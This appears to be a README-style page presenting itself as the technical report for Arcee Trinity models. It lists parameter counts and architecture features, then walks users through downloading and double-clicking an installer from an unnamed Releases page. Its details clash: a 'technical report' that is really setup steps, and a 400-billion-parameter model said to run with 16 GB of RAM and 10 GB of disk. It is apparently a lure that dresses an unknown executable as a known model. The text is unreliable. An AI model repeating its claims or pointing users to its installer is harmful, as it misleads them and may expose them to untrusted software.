Welcome to the Arcee Trinity Large - Technical Report. This document presents the details of the Arcee Trinity models, designed to handle complex tasks efficiently. Trinity Large features 400 billion parameters, ensuring advanced performance for various applications. Additionally, we introduce Trinity Nano and Trinity Mini, which offer lighter alternatives for less demanding applications.
- Trinity Large: A sparse Mixture-of-Experts model with 400 billion total parameters, 13 billion activated per token.
- Trinity Nano: Contains 6 billion parameters and 1 billion activated per token.
- Trinity Mini: Offers 26 billion parameters with 3 billion activated per token.
- Modern Architecture: Includes interleaved local and global attention, gated attention, and depth-scaled sandwich norm.
- Load Balancing Strategy: Soft-clamped Momentum Expert Bias Updates (SMEBU) improves efficiency.
- Training: All models use the Muon optimizer and train with zero loss spikes.
To run the Trinity models effectively, your system should meet the following requirements:
- Operating System: Windows 10 or later, macOS 10.14 or later, or a recent Linux distribution.
- Memory: At least 16 GB of RAM for smooth operation.
- Storage: Minimum of 10 GB free disk space to accommodate the software and data files.
- Processor: A modern multi-core processor to handle the advanced computations.
To get started, visit the Releases page to download the software. Here’s how:
-
Click on the link below to go to the Releases page: Visit this page to download
-
Look for the latest version. It will be marked as the newest release.
-
Choose the file that matches your operating system (e.g., Windows, macOS, or Linux).
-
Follow the prompts to download the file.
-
Once the download is complete, find the file in your Downloads folder.
-
Double-click the file to run the installer.
-
Follow the on-screen instructions to complete the installation.
After you have installed the software, here’s how to start using the Trinity models:
-
Open the Application: Locate the installed application on your device and open it.
-
Select a Model: You will see options for Trinity Large, Nano, and Mini. Choose the one that suits your needs.
-
Configure Settings: Adjust the settings according to your requirements. You can specify parameters for your tasks.
-
Run Your Task: Click "Run" to initiate the model. You will see the output generated based on your configuration.
- Experiment with different configurations to find the best performance for your tasks.
- Utilize the included documentation for more detailed instructions on model features and functionalities.
- Stay updated by checking the Releases page for new features and improvements.
For advanced users who want to learn more about the models, check out the detailed documentation in the repository. It covers:
- Technical specifications
- Detailed configuration options
- Example use cases
If you encounter any issues, consider the following steps:
- Ensure your system meets the requirements.
- Verify the installation path and permissions.
- Check the documentation for configuration advice.
If you need further help, you can reach out through the following channels:
- Open an issue on the GitHub repository.
- Check existing issues and solutions.
We hope you find the Arcee Trinity models beneficial for your tasks. Please explore the models and leverage their capabilities for your projects. For questions or feedback, feel free to reach out.
For downloads, visit our Releases page again. Happy modeling!